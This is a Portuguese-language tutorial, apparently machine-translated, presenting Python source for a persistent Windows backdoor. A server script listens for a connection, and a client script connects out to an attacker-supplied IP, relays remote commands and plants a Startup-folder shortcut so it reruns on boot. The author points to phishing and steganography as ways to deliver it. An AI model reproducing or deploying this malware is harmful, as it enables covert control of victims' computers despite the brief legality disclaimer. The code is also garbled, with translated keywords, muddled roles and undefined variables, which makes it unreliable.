Acesso remoto explicado: backdoors persistentes

Esta lição abordará o tópico de como backdoors são usados ​​e um método para torná-los persistentes, e será mostrado usando o código mais simples possível para enfatizar o quão fácil é esse tipo de truque.

Para fazer isso, precisamos de dois scripts diferentes: um no dispositivo de destino (este exemplo usa um destino Windows) e outro em nosso servidor usado para enviar os comandos. Aqui está um link para minha pasta GitHub contendo ambos os scripts .

Parte 1: Código do lado do servidor

A maneira como esse processo funciona é simples em conceito. Temos um servidor rodando esse código (aqui está o script ), que faz duas coisas…

1. Abre uma conexão de soquete para o dispositivo remoto e a mantém aberta até terminarmos.
2. Recebe os comandos que lhe damos, envia-os para a máquina remota e depois nos retorna os resultados para sabermos o que está acontecendo.

Vamos começar olhando o código da parte do lado do servidor…

import socket
import os

Como sempre temos as importações necessárias.

• soquete: usado para estabelecer e manter a conexão entre nosso servidor e a máquina remota
• os: usado para executar comandos e retornar resultados para nós

Temos uma função definida, execute_command() que se parece com isto…

def  execute_command ( command ):   # Função para executar os comandos run
     result = os.popen(command).read() 
    return result

Muito simples, basta pegar o comando que damos e executá-lo quando chamado.

A seguir, temos a parte main() da função que trata de todo o resto…

def  main (): 
    server_ip = "your_server_ip"   # Substitua pelo endereço IP do seu servidor
     server_port = 12345   # Substitua pelo número da porta desejada

     server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    server_socket.bind((server_ip, server_port) ) 
    server_socket.listen( 1 ) 
    print ( f"Servidor escutando em {server_ip} : {server_port} " ) 

    client_socket, client_address = server_socket.accept()   # Esta é a conexão feita entre as duas máquinas 
    print ( f"Conexão de:{client_address} " )

     while  True :
        command = client_socket.recv( 1024 ).decode()
         if command.lower() == "exit" :   # É assim que fechamos a conexão, digite o comando: exit 
            break
         result = execute_command(command)
        client_socket.send(result.encode())

    client_socket.close()   # Fecha a conexão remota
     server_socket.close()   # Fecha a conexão com o servidor que estamos usando para enviar comandos 

if __name__ == "__main__" :
    principal()

Vou orientá-lo rapidamente nesta parte, pois não é tão divertido quanto o código do lado do cliente…

1. Nós codificamos o IP e a porta do nosso servidor e, em seguida, estabelecemos a conexão.
2. Use um loop while True: persistente para manter a conexão aberta pelo tempo que quisermos.
3. Recebemos os comandos para enviar para a máquina remota executar, depois retornamos os resultados da máquina do cliente.
4. Se o comando exit for dado, fechamos a conexão.

Feito. É tão simples quanto isso para o nosso servidor. Ok, hora de algumas coisas mais legais…

Parte 2: Código do lado do cliente

Este é o script que teremos rodando na máquina remota (Windows). Não vou explicar como colocá-lo no dispositivo, pois já fiz isso inúmeras vezes antes, como: phishing, downloads, acesso físico ao dispositivo, truques divertidos de esteganografia (parte 1 e parte 2 ) , etc.

Tudo bem, vamos tirar as importações do caminho (como na Parte 1)…

import socket
import os

Para um assunto mais legal:

Criando uma Persistência: Fazendo um Script de Inicialização

Agora a primeira função que vamos definir é aquela que, quando o script roda pela primeira vez, cria um link para a pasta de inicialização, então toda vez que o usuário inicializar sua máquina, esse script começa tudo de novo…

def  create_startup_entry ():   # A função que adiciona persistência fazendo este script ser executado toda vez que o computador inicializa
     startup_path = os.path.join(os.environ[ "APPDATA" ], "Microsoft\Windows\Start Menu\Programs \Startup" )   # O caminho para os arquivos de inicialização
     backdoor_path = os.path.abspath(__file__) 
    atalho_path = os.path.join(startup_path, "backdoor.lnk" )   # backdoor.lnk é o link para o backdoor que criamos 
    
    com  open (shortcut_path, "w" ) como atalho: 
        atalho.write( 
            f'[InternetShortcut]nURL=arquivo:// {backdoor_path}n' )

É tão simples assim, usamos a biblioteca os para criar uma nova entrada no caminho de inicialização e escrever um link backdoor.lnk para fazer com que ele abra nosso backdoor no dispositivo remoto sempre que o computador for iniciado.

Nossa entrada: uma porta dos fundos oculta

Agora precisamos de nosso backdoor que seja capaz de receber comandos do nosso servidor e depois executá-los e retornar os resultados ao servidor…

def  backdoor ( client_socket ):   # A função para criar um backdoor capaz de aceitar comandos remotos de nosso servidor 
    enquanto  True : 
        command = input ( "Digite um comando para executar (ou 'exit' para sair): " )   # Este é o comando usado para encerrar a conexão
         client_socket.send(command.encode()) 
        if command.lower() == "exit" : 
            break
         result = client_socket.recv( 4096 ).decode() 
        print ( "Result:n" , result )  # Aqui é onde o servidor retorna os resultados dos comandos que executamos remotamente

Aqui vamos nós, um pouco mais de diversão. O loop while mantém o backdoor aberto até enviarmos o comando exit . Em seguida, ele apenas espera que a máquina de destino receba comandos para execução, executa-os e depois nos retorna os resultados secretamente. Finalmente, se obtiver o comando exit , os soquetes serão fechados.

A função main()

Vejamos a função main() para ver como essas duas funções são implementadas…

def  main (): 
    server_ip = "your_server_ip"   # Substitua pelo endereço IP do seu servidor
     server_port = 12345   # Substitua pelo mesmo número de porta do código do servidor

     client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   # Crie o soquete
     client_socket.connect((server_ip, server_port))   # Agora use o IP e a porta do nosso servidor 

    enquanto  True :   # Isso mantém a conexão persistente
         create_startup_entry()   # Torna o arquivo de inicialização oculto para que este código seja executado toda vez que o usuário inicializar seu computador
         porta dos fundos (client_socket)  # Abre o backdoor para receber os comandos remotos enviados a ele 
        if choice.lower() == "exit" :   # A escolha de encerrar a conexão sempre que quisermos

     client_socket.close()   # Fechar o soquete quando terminarmos 

if __name__ = = "__main__" : 
    principal()

Ok, aqui está o detalhamento para você:

1. Codificamos o IP e a porta do nosso servidor que enviará os comandos.
2. Criamos uma conexão de soquete com o servidor a partir do dispositivo de destino.
3. Um loop while mantém essa conexão persistente.
4. A função create_startup_entry() é executada para tornar este script parte do processo de inicialização do sistema, para que ele esteja sempre aberto enquanto o dispositivo estiver ligado.
5. A função backdoor() é executada usando o parâmetro client_socket para conectar nosso servidor ao dispositivo de destino.
6. Se exit for enviado, a conexão será encerrada, caso contrário continuaremos aceitando comandos de nosso servidor e executando-os na máquina de destino.
7. Finalmente, fechamos os soquetes quando terminamos, portanto, se não os estivermos usando, haverá menos detecção possível do alvo.

Realmente é tão simples quanto isso.

Conclusão

Portanto, é bastante simples configurar um script que nos permita um backdoor em um sistema e seja capaz de se colocar na pasta de inicialização do dispositivo de destino para ser executado sempre que o sistema for inicializado. Esses tipos de truques são assustadoramente fáceis de executar na vida real, e incluí links neste artigo para ambos os scripts completos. Mas, como sempre, vou mencionar que o uso desses tipos de malware é ilegal e as consequências não compensam os riscos se você for pego.

Espero que esta lição lhe tenha ensinado alguns truques novos, porque se você não aprender nada de novo com eles, não estou conseguindo dar o meu melhor no ensino. Esses scripts, obviamente, não são os MAIS secretos, e existem maneiras melhores de ocultar a conexão ou ocultar os scripts no dispositivo de destino, etc., mas esse é o ponto. Quero ensinar como essas coisas funcionam, mas sem apresentar o malware mais perigoso do mundo.

Espero que você tenha achado este conteúdo informativo e que o incentive a solicitar diferentes tipos de malware ou vulnerabilidades de segurança cibernética sobre os quais deseja aprender. Se você tiver alguma dúvida ou solicitação de algo mais que deseja aprender, entre em contato comigo.

Como sempre, obrigado pela leitura e fique seguro!